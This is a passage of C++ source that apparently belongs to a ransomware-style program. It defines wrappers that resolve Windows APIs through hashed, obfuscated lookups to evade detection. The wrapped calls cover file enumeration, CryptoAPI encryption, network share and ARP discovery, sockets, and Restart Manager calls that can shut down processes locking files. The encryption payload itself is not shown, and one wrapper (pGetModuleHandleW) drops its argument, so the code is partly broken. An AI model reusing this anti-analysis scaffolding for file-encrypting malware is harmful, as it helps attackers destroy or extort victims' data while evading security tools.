void(WINAPI * pFunction)(LPCRITICAL_SECTION); 1321 | pFunction = (void(WINAPI*)(LPCRITICAL_SECTION))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xf4241d9a, 43);//GetProcAddress(hKernel32, OBFA("DeleteCriticalSection")); 1322 | return pFunction(lpCriticalSection); 1323 | } 1324 | 1325 | inline HANDLE WINAPI pCreateIoCompletionPort( 1326 | _In_ HANDLE FileHandle, 1327 | _In_opt_ HANDLE ExistingCompletionPort, 1328 | _In_ ULONG_PTR CompletionKey, 1329 | _In_ DWORD NumberOfConcurrentThreads 1330 | ) 1331 | { 1332 | HANDLE(WINAPI * pFunction)(HANDLE, HANDLE, ULONG_PTR, DWORD); 1333 | pFunction = (HANDLE(WINAPI*)(HANDLE, HANDLE, ULONG_PTR, DWORD))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x57b499e3, 44);//GetProcAddress(hKernel32, OBFA("CreateIoCompletionPort")); 1334 | return pFunction(FileHandle, ExistingCompletionPort, CompletionKey, NumberOfConcurrentThreads); 1335 | } 1336 | 1337 | inline HANDLE WINAPI pCreateTimerQueue() 1338 | { 1339 | HANDLE(WINAPI * pFunction)(); 1340 | pFunction = (HANDLE(WINAPI*)())api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xf05ad6da, 45);//GetProcAddress(hKernel32, OBFA("CreateTimerQueue")); 1341 | return pFunction(); 1342 | } 1343 | 1344 | inline HANDLE WINAPI pFindFirstFileW( 1345 | LPCWSTR lpFileName, 1346 | LPWIN32_FIND_DATAW lpFindFileData 1347 | ) 1348 | { 1349 | HANDLE(WINAPI * pFunction)(LPCWSTR, LPWIN32_FIND_DATAW); 1350 | pFunction = (HANDLE(WINAPI*)(LPCWSTR, LPWIN32_FIND_DATAW))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xe2b40f85, 46);//GetProcAddress(hKernel32, OBFA("FindFirstFileW")); 1351 | return pFunction(lpFileName, lpFindFileData); 1352 | } 1353 | 1354 | inline BOOL WINAPI pFindNextFileW( 1355 | HANDLE hFindFile, 1356 | LPWIN32_FIND_DATAW lpFindFileData 1357 | ) 1358 | { 1359 | BOOL(WINAPI * pFunction)(HANDLE, LPWIN32_FIND_DATAW); 1360 | pFunction = (BOOL(WINAPI*)(HANDLE, LPWIN32_FIND_DATAW))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x9aea18e1, 47);//GetProcAddress(hKernel32, OBFA("FindNextFileW")); 1361 | return pFunction(hFindFile, lpFindFileData); 1362 | } 1363 | 1364 | inline BOOL WINAPI pFindClose( 1365 | HANDLE hFindFile 1366 | ) 1367 | { 1368 | BOOL(WINAPI * pFunction)(HANDLE); 1369 | pFunction = (BOOL(WINAPI*)(HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x75fcf770, 48);//GetProcAddress(hKernel32, OBFA("FindClose")); 1370 | return pFunction(hFindFile); 1371 | } 1372 | 1373 | inline int WINAPI plstrcmpW( 1374 | LPCWSTR lpString1, 1375 | LPCWSTR lpString2 1376 | ) 1377 | { 1378 | int(WINAPI * pFunction)(LPCWSTR, LPCWSTR); 1379 | pFunction = (int(WINAPI*)(LPCWSTR, LPCWSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x397b11df, 49);//GetProcAddress(hKernel32, OBFA("lstrcmpW")); 1380 | return pFunction(lpString1, lpString2); 1381 | } 1382 | 1383 | inline LPVOID WINAPI pVirtualAlloc( 1384 | LPVOID lpAddress, 1385 | SIZE_T dwSize, 1386 | DWORD flAllocationType, 1387 | DWORD flProtect 1388 | ) 1389 | { 1390 | LPVOID(WINAPI * pFunction)(LPVOID, SIZE_T, DWORD, DWORD); 1391 | pFunction = (LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xd827c1e1, 50);//GetProcAddress(hKernel32, OBFA("VirtualAlloc")); 1392 | return pFunction(lpAddress, dwSize, flAllocationType, flProtect); 1393 | } 1394 | 1395 | inline DWORD WINAPI pWaitForMultipleObjects( 1396 | DWORD nCount, 1397 | const HANDLE* lpHandles, 1398 | BOOL bWaitAll, 1399 | DWORD dwMilliseconds 1400 | ) 1401 | { 1402 | DWORD(WINAPI * pFunction)(DWORD, const HANDLE*, BOOL, DWORD); 1403 | pFunction = (DWORD(WINAPI*)(DWORD, const HANDLE*, BOOL, DWORD))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x1d7ab241, 51);//GetProcAddress(hKernel32, OBFA("WaitForMultipleObjects")); 1404 | return pFunction(nCount, lpHandles, bWaitAll, dwMilliseconds); 1405 | } 1406 | 1407 | inline DWORD WINAPI pGetCurrentProcessId() 1408 | { 1409 | DWORD(WINAPI * pFunction)(); 1410 | pFunction = (DWORD(WINAPI*)())api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x7f0fff4e, 52);//GetProcAddress(hKernel32, OBFA("GetCurrentProcessId")); 1411 | return pFunction(); 1412 | } 1413 | 1414 | inline HMODULE WINAPI pGetModuleHandleW( 1415 | LPCWSTR lpModuleName 1416 | ) 1417 | { 1418 | HMODULE(WINAPI * pFunction)(); 1419 | pFunction = (HMODULE(WINAPI*)())api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xa65b5727, 53);//GetProcAddress(hKernel32, OBFA("GetModuleHandleW")); 1420 | return pFunction(); 1421 | } 1422 | 1423 | 1424 | 1425 | 1426 | 1427 | inline BOOL WINAPI pCryptImportKey( 1428 | HCRYPTPROV hProv, 1429 | const BYTE* pbData, 1430 | DWORD dwDataLen, 1431 | HCRYPTKEY hPubKey, 1432 | DWORD dwFlags, 1433 | HCRYPTKEY* phKey 1434 | ) 1435 | { 1436 | BOOL(WINAPI * pFunction)(HCRYPTPROV, const BYTE*, DWORD, HCRYPTKEY, DWORD, HCRYPTKEY*); 1437 | pFunction = (BOOL(WINAPI*)(HCRYPTPROV, const BYTE*, DWORD, HCRYPTKEY, DWORD, HCRYPTKEY*))api::GetProcAddressEx2(NULL, ADVAPI32_MODULE_ID, 0xa247ff77, 54);//GetProcAddress(hAdvapi32, OBFA("CryptImportKey")); 1438 | return pFunction(hProv, pbData, dwDataLen, hPubKey, dwFlags, phKey); 1439 | } 1440 | 1441 | inline BOOL WINAPI pCryptEncrypt( 1442 | HCRYPTKEY hKey, 1443 | HCRYPTHASH hHash, 1444 | BOOL Final, 1445 | DWORD dwFlags, 1446 | BYTE* pbData, 1447 | DWORD* pdwDataLen, 1448 | DWORD dwBufLen 1449 | ) 1450 | { 1451 | BOOL(WINAPI * pFunction)(HCRYPTKEY, HCRYPTHASH, BOOL, DWORD, BYTE*, DWORD*, DWORD); 1452 | pFunction = (BOOL(WINAPI*)(HCRYPTKEY, HCRYPTHASH, BOOL, DWORD, BYTE*, DWORD*, DWORD))api::GetProcAddressEx2(NULL, ADVAPI32_MODULE_ID, 0x6c6c937b, 55);//GetProcAddress(hAdvapi32, OBFA("CryptEncrypt")); 1453 | return pFunction(hKey, hHash, Final, dwFlags, pbData, pdwDataLen, dwBufLen); 1454 | } 1455 | 1456 | inline BOOL WINAPI pCryptGenRandom( 1457 | HCRYPTPROV hProv, 1458 | DWORD dwLen, 1459 | BYTE* pbBuffer 1460 | ) 1461 | { 1462 | BOOL(WINAPI * pFunction)(HCRYPTPROV, DWORD, BYTE*); 1463 | pFunction = (BOOL(WINAPI*)(HCRYPTPROV, DWORD, BYTE*))api::GetProcAddressEx2(NULL, ADVAPI32_MODULE_ID, 0xabcb0a67, 56);//GetProcAddress(hAdvapi32, OBFA("CryptGenRandom")); 1464 | return pFunction(hProv, dwLen, pbBuffer); 1465 | } 1466 | 1467 | inline BOOL WINAPI pCryptAcquireContextA( 1468 | HCRYPTPROV* phProv, 1469 | LPCSTR szContainer, 1470 | LPCSTR szProvider, 1471 | DWORD dwProvType, 1472 | DWORD dwFlags 1473 | ) 1474 | { 1475 | BOOL(WINAPI * pFunction)(HCRYPTPROV*, LPCSTR, LPCSTR, DWORD, DWORD); 1476 | pFunction = (BOOL(WINAPI*)(HCRYPTPROV*, LPCSTR, LPCSTR, DWORD, DWORD))api::GetProcAddressEx2(NULL, ADVAPI32_MODULE_ID, 0x5cc1ccbc, 57);//GetProcAddress(hAdvapi32, OBFA("CryptAcquireContextA")); 1477 | return pFunction(phProv, szContainer, szProvider, dwProvType, dwFlags); 1478 | } 1479 | 1480 | 1481 | 1482 | 1483 | 1484 | 1485 | 1486 | inline DWORD WINAPI pNetApiBufferFree( 1487 | LPVOID Buffer 1488 | ) 1489 | { 1490 | DWORD(WINAPI * pFunction)(LPVOID); 1491 | pFunction = (DWORD(WINAPI*)(LPVOID))api::GetProcAddressEx2(NULL, NETAPI32_MODULE_ID, 0xa1f2bf63, 58);//GetProcAddress(hNetApi32, OBFA("NetApiBufferFree")); 1492 | return pFunction(Buffer); 1493 | } 1494 | 1495 | inline DWORD WINAPI pNetShareEnum( 1496 | WCHAR* servername, 1497 | DWORD level, 1498 | LPBYTE* bufptr, 1499 | DWORD prefmaxlen, 1500 | LPDWORD entriesread, 1501 | LPDWORD totalentries, 1502 | LPDWORD resume_handle 1503 | ) 1504 | { 1505 | DWORD(WINAPI * pFunction)(WCHAR*, DWORD, LPBYTE*, DWORD, LPDWORD, LPDWORD, LPDWORD); 1506 | pFunction = (DWORD(WINAPI*)(WCHAR*, DWORD, LPBYTE*, DWORD, LPDWORD, LPDWORD, LPDWORD))api::GetProcAddressEx2(NULL, NETAPI32_MODULE_ID, 0x1668d771, 59);//GetProcAddress(hNetApi32, OBFA("NetShareEnum")); 1507 | return pFunction(servername, level, bufptr, prefmaxlen, entriesread, totalentries, resume_handle); 1508 | } 1509 | 1510 | 1511 | inline ULONG WINAPI pGetIpNetTable( 1512 | PMIB_IPNETTABLE IpNetTable, 1513 | PULONG SizePointer, 1514 | BOOL Order 1515 | ) 1516 | { 1517 | ULONG(WINAPI * pFunction)(PMIB_IPNETTABLE, PULONG, BOOL); 1518 | pFunction = (ULONG(WINAPI*)(PMIB_IPNETTABLE, PULONG, BOOL))api::GetProcAddressEx2(NULL, IPHLPAPI_MODULE_ID, 0xbf983c41, 60);//GetProcAddress(hIphlp32, OBFA("GetIpNetTable")); 1519 | return pFunction(IpNetTable, SizePointer, Order); 1520 | } 1521 | 1522 | inline LPWSTR* WINAPI pCommandLineToArgvW( 1523 | _In_ LPCWSTR lpCmdLine, 1524 | _Out_ int* pNumArgs 1525 | ) 1526 | { 1527 | LPWSTR* (WINAPI * pFunction)(LPCWSTR, int*); 1528 | pFunction = (LPWSTR * (WINAPI*)(LPCWSTR, int*))api::GetProcAddressEx2(NULL, SHELL32_MODULE_ID, 0xc7dfa7fc, 61);//GetProcAddress(hShell32, OBFA("CommandLineToArgvW")); 1529 | return pFunction(lpCmdLine, pNumArgs); 1530 | } 1531 | 1532 | inline DWORD WINAPI pRmEndSession( 1533 | DWORD dwSessionHandle 1534 | ) 1535 | { 1536 | DWORD(WINAPI * pFunction)(DWORD); 1537 | pFunction = (DWORD(WINAPI*)(DWORD))api::GetProcAddressEx2(NULL, RSTRTMGR_MODULE_ID, 0x7d154065, 62);//GetProcAddress(hRstrtmgr, OBFA("RmEndSession")); 1538 | return pFunction(dwSessionHandle); 1539 | } 1540 | 1541 | 1542 | inline DWORD WINAPI pRmStartSession( 1543 | DWORD* pSessionHandle, 1544 | DWORD dwSessionFlags, 1545 | WCHAR* strSessionKey 1546 | ) 1547 | { 1548 | DWORD(WINAPI * pFunction)(DWORD*, DWORD, WCHAR*); 1549 | pFunction = (DWORD(WINAPI*)(DWORD*, DWORD, WCHAR*))api::GetProcAddressEx2(NULL, RSTRTMGR_MODULE_ID, 0xb5e437b0, 63);//GetProcAddress(hRstrtmgr, OBFA("RmStartSession")); 1550 | return pFunction(pSessionHandle, dwSessionFlags, strSessionKey); 1551 | } 1552 | 1553 | inline DWORD WINAPI pRmGetList( 1554 | DWORD dwSessionHandle, 1555 | UINT* pnProcInfoNeeded, 1556 | UINT* pnProcInfo, 1557 | RM_PROCESS_INFO* rgAffectedApps, 1558 | LPDWORD lpdwRebootReasons 1559 | ) 1560 | { 1561 | DWORD(WINAPI * pFunction)(DWORD, UINT*, UINT*, RM_PROCESS_INFO*, LPDWORD); 1562 | pFunction = (DWORD(WINAPI*)(DWORD, UINT*, UINT*, RM_PROCESS_INFO*, LPDWORD))api::GetProcAddressEx2(NULL, RSTRTMGR_MODULE_ID, 0xbbd8bcb8, 64);//GetProcAddress(hRstrtmgr, OBFA("RmGetList")); 1563 | return pFunction(dwSessionHandle, pnProcInfoNeeded, pnProcInfo, rgAffectedApps, lpdwRebootReasons); 1564 | } 1565 | 1566 | 1567 | inline DWORD WINAPI pRmRegisterResources( 1568 | DWORD dwSessionHandle, 1569 | UINT nFiles, 1570 | LPCWSTR* rgsFileNames, 1571 | UINT nApplications, 1572 | RM_UNIQUE_PROCESS* rgApplications, 1573 | UINT nServices, 1574 | LPCWSTR* rgsServiceNames 1575 | ) 1576 | { 1577 | DWORD(WINAPI * pFunction)(DWORD, UINT, LPCWSTR*, UINT, RM_UNIQUE_PROCESS*, UINT, LPCWSTR*); 1578 | pFunction = (DWORD(WINAPI*)(DWORD, UINT, LPCWSTR*, UINT, RM_UNIQUE_PROCESS*, UINT, LPCWSTR*))api::GetProcAddressEx2(NULL, RSTRTMGR_MODULE_ID, 0x2ad410e3, 65);//GetProcAddress(hRstrtmgr, OBFA("RmRegisterResources")); 1579 | return pFunction(dwSessionHandle, nFiles, rgsFileNames, nApplications, rgApplications, nServices, rgsServiceNames); 1580 | } 1581 | 1582 | inline DWORD WINAPI pRmShutdown( 1583 | DWORD dwSessionHandle, 1584 | ULONG lActionFlags, 1585 | RM_WRITE_STATUS_CALLBACK fnStatus 1586 | ) 1587 | { 1588 | DWORD(WINAPI * pFunction)(DWORD, ULONG, RM_WRITE_STATUS_CALLBACK); 1589 | pFunction = (DWORD(WINAPI*)(DWORD, ULONG, RM_WRITE_STATUS_CALLBACK))api::GetProcAddressEx2(NULL, RSTRTMGR_MODULE_ID, 0x22cb760f, 66);//GetProcAddress(hRstrtmgr, OBFA("RmShutdown")); 1590 | return pFunction(dwSessionHandle, lActionFlags, fnStatus); 1591 | } 1592 | 1593 | inline void WINAPI pCoUninitialize() 1594 | { 1595 | VOID(WINAPI * pFunction)(); 1596 | pFunction = (VOID(WINAPI*)())api::GetProcAddressEx2(NULL, OLE32_MODULE_ID, 0xd3a7a468, 67);//GetProcAddress(hOle32, OBFA("CoUninitialize")); 1597 | return pFunction(); 1598 | } 1599 | 1600 | inline HRESULT WINAPI pCoCreateInstance( 1601 | REFCLSID rclsid, 1602 | LPUNKNOWN pUnkOuter, 1603 | DWORD dwClsContext, 1604 | REFIID riid, 1605 | LPVOID* ppv 1606 | ) 1607 | { 1608 | HRESULT(WINAPI * pFunction)(REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID*); 1609 | pFunction = (HRESULT(WINAPI*)(REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID*))api::GetProcAddressEx2(NULL, OLE32_MODULE_ID, 0xb32feeec, 68);//GetProcAddress(hOle32, OBFA("CoCreateInstance")); 1610 | return pFunction(rclsid, pUnkOuter, dwClsContext, riid, ppv); 1611 | } 1612 | 1613 | inline HRESULT WINAPI pCoSetProxyBlanket( 1614 | IUnknown* pProxy, 1615 | DWORD dwAuthnSvc, 1616 | DWORD dwAuthzSvc, 1617 | OLECHAR* pServerPrincName, 1618 | DWORD dwAuthnLevel, 1619 | DWORD dwImpLevel, 1620 | RPC_AUTH_IDENTITY_HANDLE pAuthInfo, 1621 | DWORD dwCapabilities 1622 | ) 1623 | { 1624 | HRESULT(WINAPI * pFunction)(IUnknown*, DWORD, DWORD, OLECHAR*, DWORD, DWORD, RPC_AUTH_IDENTITY_HANDLE, DWORD); 1625 | pFunction = (HRESULT(WINAPI*)(IUnknown*, DWORD, DWORD, OLECHAR*, DWORD, DWORD, RPC_AUTH_IDENTITY_HANDLE, DWORD))api::GetProcAddressEx2(NULL, OLE32_MODULE_ID, 0xde5dbfdc, 69);//GetProcAddress(hOle32, OBFA("CoSetProxyBlanket")); 1626 | return pFunction(pProxy, dwAuthnSvc, dwAuthzSvc, pServerPrincName, dwAuthnLevel, dwImpLevel, pAuthInfo, dwCapabilities); 1627 | } 1628 | 1629 | inline HRESULT WINAPI pCoInitializeSecurity( 1630 | PSECURITY_DESCRIPTOR pSecDesc, 1631 | LONG cAuthSvc, 1632 | SOLE_AUTHENTICATION_SERVICE* asAuthSvc, 1633 | void* pReserved1, 1634 | DWORD dwAuthnLevel, 1635 | DWORD dwImpLevel, 1636 | void* pAuthList, 1637 | DWORD dwCapabilities, 1638 | void* pReserved3 1639 | ) 1640 | { 1641 | HRESULT(WINAPI * pFunction)(PSECURITY_DESCRIPTOR, LONG, SOLE_AUTHENTICATION_SERVICE*, void*, DWORD, DWORD, void*, DWORD, void*); 1642 | pFunction = (HRESULT(WINAPI*)(PSECURITY_DESCRIPTOR, LONG, SOLE_AUTHENTICATION_SERVICE*, void*, DWORD, DWORD, void*, DWORD, void*))api::GetProcAddressEx2(NULL, OLE32_MODULE_ID, 0xcc12507f, 70);//GetProcAddress(hOle32, OBFA("CoInitializeSecurity")); 1643 | return pFunction(pSecDesc, cAuthSvc, asAuthSvc, pReserved1, dwAuthnLevel, dwImpLevel, pAuthList, dwCapabilities, pReserved3); 1644 | } 1645 | 1646 | inline HRESULT WINAPI pCoInitializeEx( 1647 | LPVOID pvReserved, 1648 | DWORD dwCoInit 1649 | ) 1650 | { 1651 | HRESULT(WINAPI * pFunction)(LPVOID, DWORD); 1652 | pFunction = (HRESULT(WINAPI*)(LPVOID, DWORD))api::GetProcAddressEx2(NULL, OLE32_MODULE_ID, 0x2bdbdf4e, 71);//GetProcAddress(hOle32, OBFA("CoInitializeEx")); 1653 | return pFunction(pvReserved, dwCoInit); 1654 | } 1655 | 1656 | inline hostent* WINAPI pgethostbyname( 1657 | const char* name 1658 | ) 1659 | { 1660 | hostent* (WINAPI * pFunction)(const char*); 1661 | pFunction = (hostent * (WINAPI*)(const char*))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0xbd6ac662, 75);//GetProcAddress(hWs2_32, OBFA("gethostbyname")); 1662 | return pFunction(name); 1663 | } 1664 | 1665 | inline int WINAPI pgethostname( 1666 | char* name, 1667 | int namelen 1668 | ) 1669 | { 1670 | int (WINAPI * pFunction)(char*, int); 1671 | pFunction = (int (WINAPI*)(char*, int))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0x1260d6db, 76);//GetProcAddress(hWs2_32, OBFA("gethostname")); 1672 | return pFunction(name, namelen); 1673 | } 1674 | 1675 | 1676 | inline SOCKET WINAPI psocket( 1677 | int af, 1678 | int type, 1679 | int protocol 1680 | ) 1681 | { 1682 | SOCKET(WINAPI * pFunction)(int, int, int); 1683 | pFunction = (SOCKET(WINAPI*)(int, int, int))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0x00c1575b, 77);//GetProcAddress(hWs2_32, OBFA("socket")); 1684 | return pFunction(af, type, protocol); 1685 | } 1686 | 1687 | inline int WINAPI pWSAIoctl( 1688 | SOCKET s, 1689 | DWORD dwIoControlCode, 1690 | LPVOID lpvInBuffer, 1691 | DWORD cbInBuffer, 1692 | LPVOID lpvOutBuffer, 1693 | DWORD cbOutBuffer, 1694 | LPDWORD lpcbBytesReturned, 1695 | LPWSAOVERLAPPED lpOverlapped, 1696 | LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine 1697 | ) 1698 | { 1699 | int(WINAPI * pFunction)(SOCKET, DWORD, LPVOID, DWORD, LPVOID, DWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE); 1700 | pFunction = (int(WINAPI*)(SOCKET, DWORD, LPVOID, DWORD, LPVOID, DWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0x1ad64c3e, 78);//GetProcAddress(hWs2_32, OBFA("WSAIoctl")); 1701 | return pFunction(s, dwIoControlCode, lpvInBuffer, cbInBuffer, lpvOutBuffer, cbOutBuffer, lpcbBytesReturned, lpOverlapped, lpCompletionRoutine); 1702 | } 1703 | 1704 | inline int WINAPI pclosesocket( 1705 | IN SOCKET s 1706 | ) 1707 | { 1708 | int(WINAPI * pFunction)(SOCKET); 1709 | pFunction = (int(WINAPI*)(SOCKET))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0x4118bcd2, 79);//GetProcAddress(hWs2_32, OBFA("closesocket")); 1710 | return pFunction(s); 1711 | } 1712 | 1713 | inline INT WINAPI pWSAAddressToStringW( 1714 | LPSOCKADDR lpsaAddress, 1715 | DWORD dwAddressLength, 1716 | LPWSAPROTOCOL_INFOW lpProtocolInfo, 1717 | LPWSTR lpszAddressString, 1718 | LPDWORD lpdwAddressStringLength 1719 | ) 1720 | { 1721 | int(WINAPI * pFunction)(LPSOCKADDR, DWORD, LPWSAPROTOCOL_INFOW, LPWSTR, LPDWORD); 1722 | pFunction = (int(WINAPI*)(LPSOCKADDR, DWORD, LPWSAPROTOCOL_INFOW, LPWSTR, LPDWORD))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0x5dacc2ba, 80);//GetProcAddress(hWs2_32, OBFA("WSAAddressToStringW")); 1723 | return pFunction(lpsaAddress, dwAddressLength, lpProtocolInfo, lpszAddressString, lpdwAddressStringLength); 1724 | } 1725 | 1726 | inline SOCKET WINAPI pWSASocketW( 1727 | int af, 1728 | int type, 1729 | int protocol, 1730 | LPWSAPROTOCOL_INFOW lpProtocolInfo, 1731 | GROUP g, 1732 | DWORD dwFlags 1733 | ) 1734 | { 1735 | SOCKET(WINAPI * pFunction)(int, int, int, LPWSAPROTOCOL_INFOW, GROUP, DWORD); 1736 | pFunction = (SOCKET(WINAPI*)(int, int, int, LPWSAPROTOCOL_INFOW, GROUP, DWORD))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0xe558706f, 81);//GetProcAddress(hWs2_32, OBFA("WSASocketW")); 1737 | return pFunction(af, type, protocol, lpProtocolInfo, g, dwFlags); 1738 | } 1739 | 1740 | inline int WINAPI pbind( 1741 | SOCKET s, 1742 | const sockaddr* addr, 1743 | int namelen 1744 | ) 1745 | { 1746 | int(WINAPI * pFunction)(SOCKET, const sockaddr*, int); 1747 | pFunction = (int(WINAPI*)(SOCKET, const sockaddr*, int))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0x4310229a, 82);//GetProcAddress(hWs2_32, OBFA("bind")); 1748 | return pFunction(s, addr, namelen); 1749 | } 1750 | 1751 | inline int WINAPI psetsockopt( 1752 | SOCKET s, 1753 | int level, 1754 | int optname, 1755 | const char* optval, 1756 | int optlen 1757 | ) 1758 | { 1759 | int(WINAPI * pFunction)(SOCKET, int, int, const char*, int); 1760 | pFunction = (int(WINAPI*)(SOCKET, int, int, const char*, int))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0x55d15957, 83);//GetProcAddress(hWs2_32, OBFA("setsockopt")); 1761 | return pFunction(s, level, optname, optval, optlen); 1762 | } 1763 | 1764 | inline int WINAPI pgetsockopt( 1765 | SOCKET s, 1766 | int level, 1767 | int optname, 1768 | char* optval, 1769 | int* optlen 1770 | ) 1771 | { 1772 | int(WINAPI * pFunction)(SOCKET, int, int, char*, int*); 1773 | pFunction = (int(WINAPI*)(SOCKET, int, int, char*, int*))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0xe34ea561, 84);//GetProcAddress(hWs2_32, OBFA("getsockopt")); 1774 | return pFunction(s, level, optname, optval, optlen); 1775 | } 1776 | 1777 | inline int WINAPI pshutdown( 1778 | SOCKET s, 1779 | int how 1780 | ) 1781 | { 1782 | int(WINAPI * pFunction)(SOCKET, int); 1783 | pFunction = (int(WINAPI*)(SOCKET, int))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0x61856121, 85);//GetProcAddress(hWs2_32, OBFA("shutdown")); 1784 | return pFunction(s, how); 1785 | } 1786 | 1787 | inline int WINAPI pWSAStartup( 1788 | WORD wVersionRequired, 1789 | LPWSADATA lpWSAData 1790 | ) 1791 | { 1792 | int(WINAPI * pFunction)(WORD, LPWSADATA); 1793 | pFunction = (int(WINAPI*)(WORD, LPWSADATA))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0xaf724aac, 86);//GetProcAddress(hWs2_32, OBFA("WSAStartup")); 1794 | return pFunction(wVersionRequired, lpWSAData); 1795 | } 1796 | 1797 | inline int WINAPI pWSACleanup() 1798 | { 1799 | int(WINAPI * pFunction)(); 1800 | pFunction = (int(WINAPI*)())api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0x9812c1b7, 87);//GetProcAddress(hWs2_32, OBFA("WSACleanup")); 1801 | return pFunction(); 1802 | } 1803 | 1804 | inline PCWSTR WSAAPI pInetNtopW( 1805 | INT Family, 1806 | const VOID* pAddr, 1807 | PWSTR pStringBuf, 1808 | size_t StringBufSize 1809 | ) 1810 | { 1811 | PCWSTR(WINAPI * pFunction)(INT, const VOID*, PWSTR, size_t); 1812 | pFunction = (PCWSTR(WINAPI*)(INT, const VOID*, PWSTR, size_t))api::GetProcAddressEx2(NULL, WS2_32_MODULE_ID, 0x7e2eafb0, 88);//GetProcAddress(hWs2_32, OBFA("InetNtopW")); 1813 | return pFunction(Family, pAddr, pStringBuf, StringBufSize); 1814 | } 1815 | 1816 | inline PCSTR WINAPI pStrStrIA( 1817 | PCSTR pszFirst, 1818 | PCSTR pszSrch 1819 | ) 1820 | { 1821 | PCSTR(WINAPI * pFunction)(PCSTR, PCSTR); 1822 | pFunction = (PCSTR(WINAPI*)(PCSTR, PCSTR))api::GetProcAddressEx2(NULL, SHLWAPI_MODULE_ID, 0x6877b7f6, 73);//GetProcAddress(hShlwapi, OBFA("StrStrIA")); 1823 | return pFunction(pszFirst, pszSrch); 1824 | } 1825 | 1826 | inline PCWSTR WINAPI pStrStrIW( 1827 | PCWSTR pszFirst, 1828 | PCWSTR pszSrch 1829 | ) 1830 | { 1831 | PCWSTR(WINAPI * pFunction)(PCWSTR, PCWSTR); 1832 | pFunction = (PCWSTR(WINAPI*)(PCWSTR, PCWSTR))api::GetProcAddressEx2(NULL, SHLWAPI_MODULE_ID, 0x5a8ce5b8, 74);//GetProcAddress(hShlwapi, OBFA("StrStrIW")); 1833 | return pFunction(pszFirst, pszSrch); 1834 | } 1835 | 1836 | inline HANDLE 1837 | WINAPI 1838 | pCreateEventA( 1839 | _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes, 1840 | _In_ BOOL bManualReset, 1841 | _In_ BOOL bInitialState, 1842 | _In_opt_ LPCSTR lpName 1843 | ) 1844 | { 1845 | HANDLE(WINAPI * pFunction)(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCSTR); 1846 | pFunction = (HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x92288a94, 89); 1847 | return pFunction(lpEventAttributes, bManualReset, bInitialState, lpName); 1848 | } 1849 | 1850 | inline BOOL 1851 | WINAPI 1852 | pSetEvent( 1853 | _In_ HANDLE hEvent 1854 | ) 1855 | { 1856 | BOOL(WINAPI * pFunction)(HANDLE); 1857 | pFunction = (BOOL(WINAPI*)(HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x6a120745, 90); 1858 | return pFunction(hEvent); 1859 | } 1860 | 1861 | inline BSTR 1862 | WINAPI 1863 | pSysAllocString( 1864 | const OLECHAR* psz 1865 | ) 1866 | { 1867 | BSTR(WINAPI * pFunction)(const OLECHAR*); 1868 | pFunction = (BSTR(WINAPI*)(const OLECHAR*))api::GetProcAddressEx2(NULL, OLEAUT32_MODULE_ID, 0xe6bc0210, 91); 1869 | return pFunction(psz); 1870 | } 1871 | 1872 | inline VOID 1873 | WINAPI 1874 | pVariantInit(VARIANTARG* pvarg) 1875 | { 1876 | VOID(WINAPI * pFunction)(VARIANTARG*); 1877 | pFunction = (VOID(WINAPI*)(VARIANTARG*))api::GetProcAddressEx2(NULL, OLEAUT32_MODULE_ID, 0x5243a16a, 92); 1878 | return pFunction(pvarg); 1879 | } 1880 | 1881 | inline HRESULT 1882 | WINAPI 1883 | pVariantClear( 1884 | VARIANTARG* pvarg 1885 | ) 1886 | { 1887 | HRESULT(WINAPI * pFunction)(VARIANTARG*); 1888 | pFunction = (HRESULT(WINAPI*)(VARIANTARG*))api::GetProcAddressEx2(NULL, OLEAUT32_MODULE_ID, 0xeedec24b, 93); 1889 | return pFunction(pvarg); 1890 | } 1891 | 1892 | inline 1893 | DWORD 1894 | WINAPI 1895 | pSetFilePointer( 1896 | HANDLE hFile, 1897 | LONG lDistanceToMove, 1898 | PLONG lpDistanceToMoveHigh, 1899 | DWORD dwMoveMethod 1900 | ) 1901 | { 1902 | DWORD(WINAPI * pFunction)(HANDLE, LONG, PLONG, DWORD); 1903 | pFunction = (DWORD(WINAPI*)(HANDLE, LONG, PLONG, DWORD))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xa897e98d, 94); 1904 | return pFunction(hFile, lDistanceToMove, lpDistanceToMoveHigh, dwMoveMethod); 1905 | } 1906 | 1907 | inline 1908 | int 1909 | WINAPI 1910 | pwvsprintfW( 1911 | LPWSTR Buf, 1912 | 